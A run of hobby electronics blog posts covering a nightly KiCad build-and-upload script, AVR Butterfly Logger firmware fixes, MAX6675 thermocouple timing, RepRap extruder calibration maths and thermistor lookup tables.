cmake ../../ -DwxWidgets_CONFIG_EXECUTABLE=”/usr/local/bin/wx-config” -DwxWidgets_ROOT_DIR=”/opt/wxwidgets-svn/include/wx-2.9/” -DCMAKE_INSTALL_PREFIX=”/temp/install” -DCMAKE_OSX_ARCHITECTURES=”ppc -arch i386 -arch x86_64 -isysroot /Developer/SDKs/MacOSX10.5.sdk/ -mmacosx-version-min=10.5″ -DCMAKE_CXX_FLAGS=”-D__ASSERTMACROS__” -DCMAKE_OSX_SYSROOT=”/Developer/SDKs/MacOSX10.5.sdk”

# make clean
if make > /temp/kicad_errors-${new_version}.txt 2>> /temp/kicad_errors-${new_version}.txt && make install
then
file=kicad_osx_v${new_version}
echo $new_version > /temp/install/version.txt
mv /temp/kicad_errors-${new_version}.txt /temp/install/build_log.txt

#bundle
cd /temp/
cp -rf install ${file}
tar -czf ${file}.tgz ${file}

#upload
curl -T ${file}.tgz ftp://user:password@ftp.brokentoaster.com/
rm -rf ${file}

# cd /temp/kicad-sources/build/release/
# /Developer/usr/bin/packagemaker –doc osx-package.pmdoc –title ‘Kicad’ -o ${file}.mpkg
# curl -T ${file}.mpkg ftp://user:password@ftp.brokentoaster.com/

else

#insert some useful debug info
echo “*** GCC Version Info ***”>> /temp/kicad_errors-${new_version}.txt
gcc -v >> /temp/kicad_errors-${new_version}.txt

echo “*** wxWdgets Version Info ***”>> /temp/kicad_errors-${new_version}.txt
wx-config –list >> /temp/kicad_errors-${new_version}.txt
head /Volumes/Store/wxWidgets-2.9.1/osxbuild/config.log >> /temp/kicad_errors-${new_version}.txt

curl -T /temp/kicad_errors-${new_version}.txt ftp://user:password@ftp.brokentoaster.com/
fi

# go to sleep
if [ ! -e /Users/nick/Applications/insomnia.flag.true ]
then
open /Users/nick/Applications/SleepNow.app
fi
else
echo “KiCad is up to date : ) ”
fi

Listing 4: BASH script to update, build and upload KiCad. This is run daily via a cron job

So if you want to test the latest developer build of KiCad on OS X then look no further than here.

]]> http://www.brokentoaster.com/blog/?feed=rss2&p=811 10 http://www.brokentoaster.com/blog/?p=702 http://www.brokentoaster.com/blog/?p=702#comments Sat, 22 Jan 2011 11:07:09 +0000 Nick http://www.brokentoaster.com/blog/?p=702 Last week I released another firmware update for the AVR Butterfly Logger. This was a bugfix to the thermistor routines for calculating negative temperatures from the onboard temperature sensor.

You can download the source code from SourceForge.

The thermistor routines in the logger project were adapted from Martin Thomas’ port of the Atmel AVR Butterfly example code. This routine compares the ADC input from the thermistor sensor to a table of known readings. The table () contains a single entry for each degree celsius from -15°C to +60°C. The routine would simply step through the table until the ADC reading exceeded ( negative temperature coefficient (NTC) device. This means as the temperature increases the resistance drops. In our electrical configuration of the sensor this also applies to the voltage seen at the ADC input.>) the value in the table. The position in the table is then given as the temperature in degrees celsius.

When first developing the data logger in 2004 and 2005 I quickly wrote an interpolation routine that would extend the integer value given in the original with an extra two decimal places. After finishing writing the code I reviewed both the code and the corresponding output. At the time of that brief review everything appeared to make sense. As the original project had other more accurate temperature sensors available, the operation of the onboard temperature sensor was not critical. The onboard temperature sensor was instead intended as a fast secondary sensor for live feedback to the user via the LCD and so the code was not widely tested. Whoops.

This December (being the coldest on record in the UK for the last 100 years) showed up some of the flaws in my code. After some prompting from a couple of users of the project I set aside some time to investigate further. My investigation involved writing a test routine to simulate all possible sensor readings and then evaluating the results. This was an incredibly simple exercise, just a few lines of code and then plotting the results with Gnuplot. The output from the function is shown below in Figure 1.

Figure 1: Thermistor routines test output

This figure shows the full-scale results for the original and fixed routines along with the data points given in the original source. As you can see the interpolated line appears to follow the datapoints quite nicely until it drops below zero degrees.

At this point the linear interpolation is way-off and producing mostly garbage (you can see this clearly in the close-up below in Figure 2)

Figure 2: Close-up of the thermistor routines test output

Looking at the close-up in Figure 2 you can see the awful job the routine does when dealing with negative temperatures. If you look very closely at the positive temperatures you will also note a small error in that calculation as well. After plotting the output and going over the code it was very easy to spot the couple of errors. After the corrections the graph of the output (The green line in Figures 1 and 2) intersects perfectly with the data points given in the source code. If it were not for visual inspection of the results (via the graph) I don’t think I would have noticed this second error at all.

Further changes were also made to the routine so that when the readings are outside the range specified by the data table then they will record an over or under temperature error. This is signified in the log as +++.++ or ---.-- for over temperature or under temperature respectively. On the LCD, +++.+C or ---.-C is displayed. Previously the routine had just returned the maximum or minimum temperature from the table.

It had been at the back of my mind that there was something not quite right about that bit of code for some time. It was so simple in the end to write a routine to test the function with all possible inputs that I could kick myself for not doing it earlier. By plotting the results on a graph it became obvious how the code was misbehaving. The key lessons I’ve learned from this it is that a little testing goes a long way and that some simple visualisation can really help you understand a bug quickly.

More information about the AVR Butterfly Logger project can be found at the project website.

Any questions can be asked in the project forums.

Figure 1: A sample of the bitmap output from the Rigol 1102E

Figure 1 above shows serial communications on my Reprap Mendel. This has been my test signal as I put the scope through its paces while I try to locate the source of intermittent serial communications problems. Having bitmap output makes blogging about electronics a whole lot easier.

After having a few weeks play I have to say I’m a fan of the interface. I was pleasantly surprised by the center push feature on all the dials. A center push on the vertical position will center the trace about the zero point and a center push on the horizontal will center the trace about the trigger point. These are very nice interface enhancements that feel very natural and intuitive to use.

The performance of the scope is great although I have not pushed it anywhere near the limits.

To give you a better idea of what I am comparing this to I’ve compiled a list scopes I’ve used in the passed. These are scopes I’ve used in the workplace, spending countless days interacting with.

• Tektronics 475 200Mhz – A fantastic old analogue storage scope
• Tektronics TDS 320 100Mhz – A nice digital storage scope (not LCD though), with the printer, GPIB and serial communication cards.
• Tektronics TDS 1002 60Mhz – An entry level, modern LCD scope but no printing or serial communication.
• Tektronics TDS 3000 series – DPO very nice colour LCD scope with floppy drive for saving waveforms to.

This is the first scope I’ve used which I’ve actually forked out the cash for so I am very happy with my purchase and find it compares very favourably to those I’ve used in the past. This scope has more features than I’ve ever had before. The datasheet for the DS1000E Series is here.

• I like the modern features (USB host, USB remote, Colour LCD, FFT, Pass Fail, 1M samples, etc)
• I like the legacy features (RS232 port on the back)
• I like the specs (100MHz, 1GS/s)
• I like the warranty (3 years parts and labour)
• I REALLY Like the price. This scope cost me £420 including VAT, delivered to my door.

I’d like to post a more complete review sometime, but I think there are already plenty of people saying the same as what I’m saying — A fantastic scope, unbeatable for the price.

I have managed to get everything cleaned up, reviewed my security practices (no more FTP) and updated my WordPress installation. If you find any images are missing or something on the site isn’t as it was then please let me know.

Apologies to anyone how has been infected by malware. The site was apparently spreading malware to unprotected machines between the dates 19th and 27th of October.

You can download the source code from sourceforge, with the changes from the previous version are listed below.

Changes summary:
- MAX6675 K-Type Thermocouple logging (adjustable averaging)
- MAX6675 available on 'T' via the USART.
- MAX6675 available on LCD via 'THERMOCOUPLE' Menu. 

The new library has configurable support for averaging readings but each individual reading takes 200ms so an 8 point average will take 1.6s to complete. If you use this averaging feature please make sure that your logging interval is long enough to ensure enough time for the complete reading to finish. While thermocouples are capable of measuring wide ranges of temperature both positive and negative the MAX6675 is limited to returning readings between 0°C and +1024°C. If the chip detects an open thermocouple then the system will log ‘-1′ as the temperature.

The MAX6675 connects to the AVR Butterfly via the SPI bus. This bus is also used by the onboard Dataflash and the Kionix acceleration sensors (when in use). As this bus is already available the only additional pins required is a single chip select (CS). The library currently only supports a single thermocouple input but the code could easily be expanded to suport multiple MAX6675s requiring a single CS line for each additional chip and thermocouple.

The SPI bus is available on PORTB and also via the ISP connector. An example breakout PCB for the MAX6675 was published here. Default wiring from the this PCB to the AVR Butterfly Logger is given below:

More information about the data logger project can be found at the project website.

Any questions can be asked in the project forums.

Without any further ado the source code is here, with the changes from the previous version are listed below.

Changes summary:
- Added  'j' and 'J' commands to read SHT75 Humidity and Temp.
- Fixed the SHT75 clock waveform (now it looks  symetrical )
- Added ENABLE_SHT_CALCS option to print/store real world values for SHT75
- Tuned vref for more accurate results. (Battery voltage and dependant SHT75 calculations)
- Added Kionix accelerometer logging
- Fixed vref ( done by matthias.weisser )
- Make file uses no-inline-small-functions ( done by matthias.weisser )
- Direction ADCs are now refered to as Auxilliary ADCs

More information about the data logger project can be found at the project website.

Any questions can be asked in the project forums, here.

A known issue with the MAX6675 Arduino/Reprap code

The MAX6675 chip can take up to 220ms to take a reading from the thermocouple and the reading begins automatically after the previous read. If another read is attempted before the current reading has been completed then the chip returns the previous value and restartsthe internal analog to digital the conversion. This means that if you read from the chip every 150ms or so you will always get the same first reading returned again and again.

The arduino library code needs a 220ms delay between multiple reads to allow for the MAX6675 chip to take another reading. In the current state the library simply reads the same value repeatedly. Luckily it is a known issue documented on the project’s site and is not hard to fix.

The taking of a single reading rather than taking a number of readings and averaging will contribute to a high noise level in the thermocouple readings when using this software.

Discovering the problem

When testing the PCB with the library code everything works fine. The arduino returns a reading every second and everything looks good.

When using the Reprap firmware with the thermocouple code it always returned the first value read from the chip (usually 24°C or so). This lead to things getting pretty hot as the extruder would turn the heater to full duty cycle while recording no change in temperature.

I first looked at the SPI lines on the scope to see if there was excessive noise or some other issue. I also compared this side by side with the ‘working’ arduino system. The scope traces are shown below. The reference channels (R1 and R2) are the reprap firmware and the bottom traces (1 and 2) are the arduino. I noticed nothing wrong with the traces, they both looked very good.

Reprap code compared to aduino library code communicating to the MAX6675.

It was here however that I noticed that the arduino code calls another read to the chip immediately after the preceding read. After a bit more investigation I noticed that the library software calls the temperature reading function 5 times consecutively and always returns 5 identical results. A quick read of the data sheet confirmed the typical conversion time to be 170ms with a maximum of 220ms. The arduino library starts a conversion just 20μs after finishing reading the last. Reading the data sheet further also confirmed the action of restarting a conversion every time the chip is read.

I monitored the lines on a scope and found that the Reprap software was indeed reading the chip every 136ms. To fix this I simply changed SLOW_CLOCK in configuration.h to 8089 from 5000. Based on the current delay giving 136ms, this gives 220ms delay between calls to the thermocouple chip. After making this change to the firmware the thermocouple now works perfectly.

Time between calls to the MAX6675 thermocouple chip using the standard firmware on my reprap.

Fixing the problem

A more robust fix to the reprap extruder firmware is shown below, but I have not tested this code yet. This simply exits the temperature reading method if enough time has not elapsed between calls to the function. The advantage of this is that the main loop can run as fast as it needs to without impacting on the operation of the thermocouple sensors.

#ifdef MAX6675_THERMOCOUPLE
#define MAX6675_CONVERSION_TIME 220 // number of milliseconds between valid temperature readings

  int value = 0;
  byte error_tc;
  
  static unsigned long last_read_time=0; // number of milliseconds since power on at last MAX6675 read 
  unsigned long time_since_last_read=0;  // number of milliseconds since last read of MAX6675 

  /* check the chip is ready to produce a new sample */
  time_since_last_read=millis()-last_read_time;

  /* only read from the chip if a conversion has been completed */
  if(time_since_last_read > MAX6675_CONVERSION_TIME){
    
    digitalWrite(TC_0, 0); // Enable device
  
    /* Cycle the clock for dummy bit 15 */
    digitalWrite(SCK,1);
    digitalWrite(SCK,0);
  
    /* Read bits 14-3 from MAX6675 for the Temp
     	 Loop for each bit reading the value 
     */
    for (int i=11; i>=0; i--)
    {
      digitalWrite(SCK,1);  // Set Clock to HIGH
      value += digitalRead(SO) << i;  // Read data and add it to our variable
      digitalWrite(SCK,0);  // Set Clock to LOW
    }
  
    /* Read the TC Input inp to check for TC Errors */
    digitalWrite(SCK,1); // Set Clock to HIGH
    error_tc = digitalRead(SO); // Read data
    digitalWrite(SCK,0);  // Set Clock to LOW
  
    digitalWrite(TC_0, 1); //Disable Device
  
    last_read_time = millis(); //remember the read time for next time
  
    if(error_tc)
      currentTemperature = 2000;
    else
      currentTemperature = value>>2;
  }
#endif

}

The arduino library can be improved by simply inserting the following at line 55 of the file MAX6675.cpp just before the end of the for loop.

if (i>1) delay(220); // Wait 220ms for next sample to be ready

This will force a 220ms delay when reading the thermocouple multiple times via the read_temp(int samples) function. Alternatively you could use the millis() function to track the last time it was read and automatically delay the read by the appropriate amount.

An MDF bed for my Reprap Mendel. Laser etched and cut at RazorLAB.

I have to say that the service and turnaround from Ponoko and RazorLAB was great. Ponoko only promises a 28 day turnaround for non Prime members. My order was shipped in 3 days! Fantastic! The bed looks great and I’m happy with the results. For reference, the material used is 3.6mm ‘Natural MDF’ , and the text and logo are done in ‘Medium Raster’. All files were prepared using Inkscape.

Although I think the bed is a little on the thin side for a perfect print surface, it is a lot flatter than the curved 4.8mm aluminium bed I have been using up until now.

In the course of building my extruder I chose not to modify my stepper motor. Instead of having a splined shaft on the motor I decided to use a splined pinch wheel similar to the brass M4 insert used in the geared extruder driver. My pinch wheel is shown below in Figure 1. By making some simple assumptions and using basic geometry I was able to calculate the necessary firmware parameter to accommodate my changes from the original design.

Figure 1: Splined pinch wheel. It is designed to fit a shaft with a diameter of 5mm and is fixed in place using a M3x3 grub screw.

I wanted to keep the motor unmodified so that it would be interchangeable with any of the other motors I’ve used on the reprap. The upside of this is that I don’t need to keep a separate modified motor as a spare just for the extruder. The downside of this is that the default value for E_STEPS_PER_MM used in the reprap motherboard firmware would not be correct for my extruder.

What does E_STEPS_PER_MM do?

E_STEPS_PER_MM is defined in the firmware documentation as “the number of steps that the extruder stepper needs to take to produce one millimetre of filament.” The firmware then uses this value to calculate the number of steps needed to drive the extruder in relation the print head’s current horizontal movement. If this value is wrong then the reprap will push out too much or too little extrusion into the print.

In the absence of any commissioning information in the official wiki for the reprap, once construction of the reprap was complete, I was left to adjust the value empirically.

As I had no way of knowing just how different my untested design would be to whatever extruder was used to determine the values given in the code, I wanted another way to determine this value. These calculations are used as a check to avoid wasting plastic and the possibility of breaking the extruder first time.

To simplify things I chose to calculate the parameter by treating the filament and melted plastic as an incompressible fluid. This simplification should hold true once the system is in a steady state extruding plastic. If no material leaks out, is absorbed into the body of the extruder itself, or is vaporized, then logically the volume of material that goes into the system must also leave the system. This also assumes that there is no thermal expansion or any change in density of the material (which is what I really mean when I say “incompressible”). Figure 2 below shows a diagram of my greatly simplified model of the system.

Figure 2: Model of the simplified system shown with the extrusion chamber shown as a grey box.

Bear in mind that I’m not a mechanical or chemical engineer. I’m an electrical engineer, so my calculations and assumptions might be way off. If anyone knows a better way to model and or calculate this sort of thing, I’d love to hear from you.

What goes in, must come out

Calculating the volume of filament entering the extruder:

The volume that goes into the extruder is the cross sectional area of filament multiplied by the length fed in. This assumes the filament is a perfect cylinder.

rf = 0.5 × Øf (filament diameter)
CSAf(filament cross sectional area) = π × rf²
volf (filament volume per revolution) = CSAf × lenf


Assuming the filament is moving at the same speed as the outermost point on the teeth of the drive gear or surface of the pinch wheel then the length of filament fed in should be the same as the linear distance travelled by the outside of the pinch wheel. This is assuming that no slippage, no compression, and no deformation of the filament occur.

A point on the outside of the pinch wheel travels a linear distance of one circumference per revolution. This is calculated by π multiplied by the diameter.

ØPW (pinch wheel diameter)
lenf (filament length per revolution) = π × ØPW


The total volume entering the extruder per step is easily calculated by dividing the volume per revolution by the number of steps per revolution. If a gear reduction is used between the stepper and then the steps per revolution are multiplied by this ratio.

RM:PW (ratio of motor rpm to pinch wheel rpm)
steps360 (motor steps per revolution)

Real world examples

In addition to the standard extruder I have also built a version of Adrian’s geared extruder. My version of this is shown in Figure 3 below. The ratio for this gear reduction is 5:1. I will compare this with the standard splined shaft extruder in the calculations below.

Figure 3: A geared extruder. The large gear has 55 teeth and the small gear has 11 giving a 5:1 reduction.

Using filament with a nominal diameter of 3mm gives:

rf = 0.5 × Øf = 1.5mm
CSAf = π × rf² = 7.07mm²


For a standard reprap using a 5mm diameter splined shaft:

ØPW = 5.0 mm
lenf = π × ØPW = 15.7mm
volf = CSAf × lenf = 111mm³


With a 200 steps per revolution stepper motor, driven using half steps and directly driving the pinch wheel:

RM:PW = 1

step-volf = 0.278mm³


Alternatively, with the same motor driven using half steps but driving via a 5:1 gear reduction and a 8mm brass insert:

ØPW = 8.0 mm
lenf = π × ØPW = 25.1mm
volf = CSAf × lenf = 177mm³
RM:PW = 5

step-volf = 0.0885mm³


This means that for each half step of the motor the original extruder draws in 0.278mm³ of plastic. If the geared extruder is used then the volume of plastic drawn in with each step of the motor is an order of magnitude lower at 0.0885mm³. This means that the geared extruder should have much finer control as well as increased torque.

Calculating the length of extrusion leaving the extruder:

The output of the system is via a smaller diameter nozzle. Working from our main assumption, what goes in must come out, the system must extrude all of the material entering the system but with a smaller cross sectional area.

Assuming the extrusion is the same as the nozzle diameter:

Øe (extrusion diameter) = ØNOZZLE
re (extrusion radius) = 0.5 × Øe
CSAe (cross sectional area of extrusion) = π × re²

Reworking our formulas from above gives us the length from a known volume. This assumes the extrusion, like the filament, is also a perfect cylinder.

lene (length of extrusion)
vole (extrusion volume ) = lene × CSAe

Substituting in the known volume drawn into the system per step:

vole = step-volf

This is the length of extrusion output per step. By inverting this we get the number of steps per mm of extrusion required by the software.

Real world examples (continued from above)

A nozzle with a 0.5mm hole and using a splined 5mm shaft direct drive system from above:

Øe = 0.5mm
step-volf = 0.278mm³ (from earlier example above)
re = 0.5 × Øe = 0.25mm
CSAe = π × re² = 0.196mm²

E_STEPS_PER_MM = 0.705


A nozzle with a 0.5mm hole and using a 5:1 gear reduction and a 8mm brass insert from above:

Øe = 0.5mm
step-volf = 0.0885mm³ (from earlier example above)
re = 0.5 × Øe = 0.25mm
CSAe = π × re² = 0.196mm²

E_STEPS_PER_MM = 2.21


These values match up well with the values for the standard extruders given in the firmware.

Tying it all together

After reading through the working above you can see the result is proportional to the ratio of the square of the diameters and some of the terms will cancel out.

Combining and simplifying gives a single formula:

Where:

Øf =	filament diameter
ØPW =	pinch wheel diameter
ØNOZZLE =	nozzle diameter
steps360 =	number of steps per revolution
RM:PW =	ratio of motor revolutions to pinch wheel revolutions

Below in Listing 1 are my changes to configuration.h to automatically calculate the steps per mm based on the characteristics of the extruder. This is calculated when the main firmware is compiled. I’ve also created a google spreadsheet here to help calculate the same value if you just want the number to throw straight into configuration.h. These values form a good starting point for the inevitable fine-tuning which is required later.

// calculated assuming non-compressible fluid and perfect 
// cylinder filament and extrusion etc so tweaks probably be
// needed. basically what volume goes in must come out.
#define FD 3.0   // = filament diameter (3mm)
#define ED 0.5   // = extruded diameter (0.5mm)
#define PWD 8.0  // = pinch wheel diameter, outer diameter 
                 //  of teeth on my custom brass knurled gear
                 //  (7mm)  or brass insert (8mm)
#define GEAR_RATIO 5 // = drive gear ratio (1 normally,
                     //   5 for 5:1 geared drive)
#define E_STEPS_PER_REV 400 // number of steps per revolution 
                            // (I'm using a half steps drive)

#define PI 3.14159265359                                //*RO
#define FL (PI * PWD) // filament length fed in one rev //*RO
#define R1 (FD/2)     // radius of filament going in    //*RO
#define R2 (ED/2)     // radius of extruded filament    //*RO
#define EL ( (FL*R1*R1)/(R2*R2) ) // length extruded    //*RO

#define E_STEPS_PER_MM (E_STEPS_PER_REV * GEAR_RATIO / EL) 

Any thoughts, comments and ideas are always welcome.

A quick search on AVR Freaks turned up the following solution.

Turns out adding the following to lcd_driver.c fixed the problem:

//updated 2006-10-10, setting LCD drive time to 1150us in FW rev 07,
//instead of previous 300us in FW rev 06. Due to some variations on the LCD
//glass provided to the AVR Butterfly production.
LCDCCR |= (1<<LCDDC2) | (1<<LCDDC1) | (1<<LCDDC0);

I inserted these lines as instructed into the file LCD_driver.c at the end of the LCD_Init() function just after gLCD_Update_Required = FALSE; (this is around line 170 for ButterflyMP3).

The change has fixed the problem on my hardware. Although I have updated the files in the CVS, I have not done a general release for either ButterflyMP3 or Butterfly Logger. You can get the modified files directly from the CVS system, here for ButterflyMP3 and here for Butterfly Logger

In addition to the changes given above in the post at AVR Freaks, the macro around line 45 in the file LCD_driver.h

#define LCD_CONTRAST_LEVEL(level) LCDCCR=(0x0F & level)

should be changed to something like

#define LCD_CONTRAST_LEVEL(level) LCDCCR=(0xF0 & LCDCCR) | (0x0F & level)

This change will ensure that the drive time setting does not get erased when using the macro to set the contrast at some time after initialisation. I have not tested this as none of my firmware sets the contrast after startup.

Why are these changes needed?

It appears that the LCD’s characteristics have changed and it now requires a much longer drive time of 1150μs. The original LCD needed only 330μs. I’m unsure of the effect of this on the overall power consumption other than it will increase the LCD’s portion of it.

If the original 330μs drive time is used, then some of the newer LCDs will be very dim and you may only be able to read them at an angle if at all. If you really want to squeeze a little more battery life out of your AVR Butterfly based project then you could have a go at tweaking this value back to 850μs or even 575μs and check the display for readability.

Heres an explanation of what those bits do from the ATMEGA169PA data sheet on page 248.

• Bits 7:5 – LCDDC2:0: LDC Display Configuration
The LCDDC2:0 bits determine the amount of time the LCD drivers are turned on for each voltage transition on segment and common pins. A short drive time will lead to lower power consumption, but displays with high internal resistance may need longer drive time to achieve satisfactory contrast. Note that the drive time will never be longer than one half prescaled LCD clock period, even if the selected drive time is longer. When using static bias or blanking, drive time will always be one half prescaled LCD clock period.

And the accompanying table from the same datasheet also on page 248.

Table 23-7. LCD Display Configuration

I accidently uploaded and emailed everyone the wrong files, not only were they not revision B they weren’t even revision A. This was totally my fault as I grabbed the files from the wrong directory when uploading. I was sure I had checked they were correct but obviously I hadn’t.

I’ve included some pictures of what the layout is supposed to look like for Rev B so you can check the gerbers and EAGLE files are correct before getting any made. ( Look for the large ‘B’ on the top copper layer.)

Figure 1 : Arduino MP3 Shield Rev B PCB - Top view

Figure 2 : Arduino MP3 Shield Rev B PCB - Bottom view

I have since fixed the links and are now hosting the correct files. Here are the links again:

EAGLE files are here

GERBER files are here

Arduino Library files are here

PDF of the schematic is here

Once again sorry to everyone who got the wrong files.

Arduino MP3 Shield by Nick Lott is licensed under a Creative Commons Attribution-Share Alike 2.0 UK: England & Wales License.
Based on a work at www.brokentoaster.com.

In order to improve and verify the performance of my Reprap Mendel extruder I decided to build a system based on a K-Type thermocouple. I ordered some samples of a MAX6675 from Maxim Integrated Products. I decided to use this chip over the Analog Devices AD595 out of curiosity as it was new to me and due to the 12-bit digital output. Although plenty of breakout boards already exist for this product I decided to design my own based around this PCB-mount thermocouple connector. I like the idea of being able to simply unplug a thermocouple and quickly plug another one in so the use of a standard miniature socket sounds like a pretty good idea to me. It makes switching between probes a breeze and allows me to use cheap thermocouple probes from Maplin

I haven’t tested this board yet so I’ll have to update the post later after I’ve had a chance to play with some ferric chloride.

Having stood back from the design for about 3 seconds it occurs to me that I should probably combine this with my ATTINY45 USB Key project to make a standalone Thermocouple to USB converter, but who has the time .

All files are Creative Commons Attribution-Share Alike 2.0
TC-6675, Schematic (PDF)
Eagle Library (MAX6675ISA+ and RS#3817564)
TC-6675 Schematic (EAGLE)
TC-6675 PCB layout (EAGLE)

While poking about in the extruder firmware I noticed that the thermistor lookup tables could be improved. Currently I have been extruding my PLA at 250°C for reliable results. Looking at the standard lookup table, 255 is the second entry which means that most of the look up table is spent defining temperatures much below where I really want the most accurate temperature readings.

By choosing the points more carefully and tailoring the spread we can achieve better accuracy where we want it. This is most clearly seen when the table is plotted.

Figure 1 : Comparison of thermistor lookup tables

Figure 1 above shows a hand modified table as compared to both a perfect table with 1023 values and the standard table. If you look at the difference between the perfect line and the standard line you can see that above 255°C the graphs diverge significantly. What does this mean? It means that an actual temperature of 270°C will appear to our controller as 400°C. While this probably won’t make a large difference to the control of temperatures below 250°C it would be nice to know the system is accurate right up to 300°C. Changing the table may also improve the response of the control system near 250°C and reduce unexpected behaviour. An example of this might be when the system is set to 255°C and overshoots by only 5°C, the system will compensate for a measured overshoot of 20°C.

   {1, 841},
   {54, 255},
   {107, 209},
   {160, 184},
   {213, 166},
   {266, 153},
   {319, 142},
   {372, 132},
   {425, 124},
   {478, 116},
   {531, 108},
   {584, 101},
   {637, 93},
   {690, 86},
   {743, 78},
   {796, 70},
   {849, 61},
   {902, 50},
   {955, 34},
   {1008, 3}

   {5, 500},
   {6, 474},
   {8, 448},
   {9, 422},
   {12, 396},
   {15, 370},
   {20, 344},
   {26, 318},
   {35, 292},
   {49, 266},
   {70, 240},
   {103, 214},
   {155, 188},
   {236, 162},
   {359, 136},
   {526, 110},
   {711, 84},
   {867, 58},
   {962, 32},
   {1005, 6}

The Python script used to generate these lookup tables first generates an even spread of ADC values that the software will see and then generates the corresponding temperatures. While this approach generally gives a great conversion across the entire range of readings, it’s not the best use of the lookup table for this particular application. I’ve edited the script to reverse the process and select a number of temperature points where we are interested in and then look up the corresponding ADC values to match. This results in a table (shown in Table 1 above) that ensures the 200°C to 300°C range has plenty of points and the sub 100°C region has the minimum required. The modified Python script is here.

Unfortunately I broke my last thermistor while building a new extruder heater so I haven’t been able to test the new table. When I get a replacement I plan to check the results with a thermocouple to ensure accuracy across the range.

After realizing my mistake I ordered the correct part but assembled an extruder using the thermistor at hand out of both curiosity and impatience.  The results of initial testing were quite good (see this post) and the initial prints seemed acceptable.  I decided after printing Adrian’s geared driver it would be a good time to rebuild the heater of the extruder using the glass bead thermistor.

Photo 1: The charred remains of a thermistor 100°C outside its comfort zone.

After removing the resistor from the charred heater (pictured above in Photo 1) one of my main concerns with the heater was that the polyimide tape was often melting and giving off fumes.  As I was only heating to 220°C at most according to the extruder control board then either my tape was not the Kapton™ tape it said it was or the thermistor was reading the wrong temperature.  I’m not sure that the wrong temperature was due to the bad thermal contact with the nozzle or the fact that I was operating outside the recommended temperature range.  The new thermistor is much much smaller (0.8mm diameter (Ø) as opposed to 6.3mm Ø) and so should be much closer to the heater barrel and able to achieve much better thermal contact.

Once rebuilt, tested, the extruder firmware reprogrammed for the new thermistor look-up table, and the sanguino motherboard reprogrammed for the new extruder drive I started printing some test parts.  The test parts are from a design I’ve started for an adjustable hub for use in feeding filament into the reprap.

Photo 2: The Hub-o-matic

I had found that with the previous heater I was able to extrude reliably at temperatures around 200°C – 220°C. With this new thermistor in place I needed to heat the system up to 250°C to get comparable results.  I hope to get a thermocouple sensor at some point to confirm the actual temperature of the nozzle.  My preliminary testing at temperatures below 100°C show the tip of the nozzle to be about 50°C below the temperature read at the thermistor.  I am unsure if this is due to sensor error or simply heat dissipation along the heater barrel.

Once up and running though I did get some parts printed, but only after a couple of runs that ran out of steam half way through.  The photos below show examples of the good and the bad prints.  To get a sense of scale the spindle is M8 threaded rod and the screws holding the struts to the bearing holders are all M3x20.  The bearings a 608ZZ (AKA skateboard bearings).  The usual problem I find with my prints going wrong is that they print perfectly for the first part and then the extruder just runs out of heat and the extrusion becomes quite lumpy.  This I normally try to fix by increasing the temperature.  This works to an extent but costs you in quality as the extruder begins to ooze uncontrollably or simply extrudes too much filament.

Photo 3: A good print of a 60mm x 10mm x 10mm strut for the Hub-o-matic

Photo 4: A bad print of a 60mm x 10mm x 10mm strut for the Hub-o-matic

After the initial prints I built up a second heater barrel using the same type of thermistor and confirmed the temperature behaviour and performance to be the same.

The new extruder driver certainly has plenty of torque and I feel it could almost push through the filament cold.  I must admit I had my doubts about the design when I first looked at it and printed out all the parts.  There didn’t seem to be enough parts to hold all the bearings in place, and the 55 tooth gear seemed a little loose and unconstrained in its positioning.  After building it and threading the filament through I am impressed.  The brass insert from Conrad Electronics really does grip the filament well and the gears mesh beautifully. It is also worth noting that I initially overlooked the last instruction in the build, to use some silicone grease on the gears, but it does make a dramatic improvement in the gears ability to mesh nicely, smoothly and quietly.

I did deviate from Adrian’s design slightly. As my motors have a 2mm Ø cross drilling on the end of the shaft, instead of filing the end of the motor shaft flat, I drilled a 2mm Ø hole through my drive gear and used a spring tension pin to retain it.  I’ve also made one other change to Adrian’s design.  I can’t stand using glue or epoxy for something like this so I retain my PTFE thermal barrier using two M3x20 screws through the base and thermal barrier (perpendicular to the direction of the filament and heater barrel).  This allows me to swap out extruder barrels quickly without cutting any tape when they give trouble or become blocked.

The three photos show my new extruder driver.  Although the printed parts look good enough to work in this situation a close inspection of the print show the extrusion tends to “bead” a little and on some prints just stop altogether.  I’m hoping a driver with more “torque” will improve this as well as better spool management.  I’m also building a new extruder head as well to improve the temperature stability.

If anyone has other ideas on how to better improve the print quality of my reprap I’d love to hear about them.

After four months of soldering and mucking about with screws and metal things I finally have a working 3D printer.

This was built using Makerbot electronics and aluminium versions of the printed parts. I will publish the drawings of the machined parts as soon as I have 1) tidied them up, 2) fixed the mistakes I put on them and 3) confirmed the design actually works. I made a few changes from the designs released in November in order to make them machine-able, but for the most part they are true to the original designs and taken from the STEP files or the STL files converted back into CAD files.

I’ve deliberately mounted the electronics in an open fashion on standoffs on an aluminium base plate to facilitate testing as I plan to improve and refine the design. I’d like to improve the electronics, PCB design and location of boards with an eye towards EMC and proper shielding, but for moment they are open to allow scope and multimeter access. I hope to tidy up all the cables into tidy looms and things a bit once I’m happier with the performance and reliability. I had an opto-interrupter board fail on me which resulted in a couple of crashes so I’ve temporarily replaced them with some very cheap push buttons. Probably a short circuit on the veroboard versions I built up, that’ll teach me for being too cheap to pay $1 for a decent PCB.

I am reasonably happy with these prints as a first attempt. I think I really need to tweak the settings and the operation of the extruder to get things working better. (The part designs are from Thingiverse parametric spur gears, Thingiverse parametric Lego block)

I’m quite glad to notice the latest version of host software is functioning on OS X, it saves me having to boot up windows every time I want to print. I say functioning and not working as it doesn’t quite fit all the controls on the screen nicely and does odd things every now and then. But it is better than it was a couple of months ago and so it is looking good for the future.

Sadly I’m off home to NZ for a few weeks so wont get a decent chance to to get it all going properly till the end of the month. On the other hand the software may have moved forward another step by then as well and I might even take the time to read the instructions.

Last week I managed to have some luck with my Arduino MP3 shield. The big hold up was caused by not having enough power from the FT232RL chip to supply the decoder and the memory card at the same time (50mA max d-oh). I also had a software issue, I had not altered the code to deal with the 16Mhz clock speed of the arduino from the 8Mhz I was using on the ButterflyMP3 project. The SPI clock was running at 8Mhz where it needed to be slower than 6MHz (to comply with the VS1011E datasheet). Once I had that sorted everything just popped into place and started working reliably.

I apologise in advance for the poor integration of the library examples. I have simply and quite roughly ported the minimal parts of my buterflymp3 project over to the arduino and this hardware. The examples will test reading FAT16 file system on the MMC/SD card, test the VS1011E decoder chip, and play the first mp3 file found on the memory card. I hope to get these tidied up later but have not had any time to do so lately.

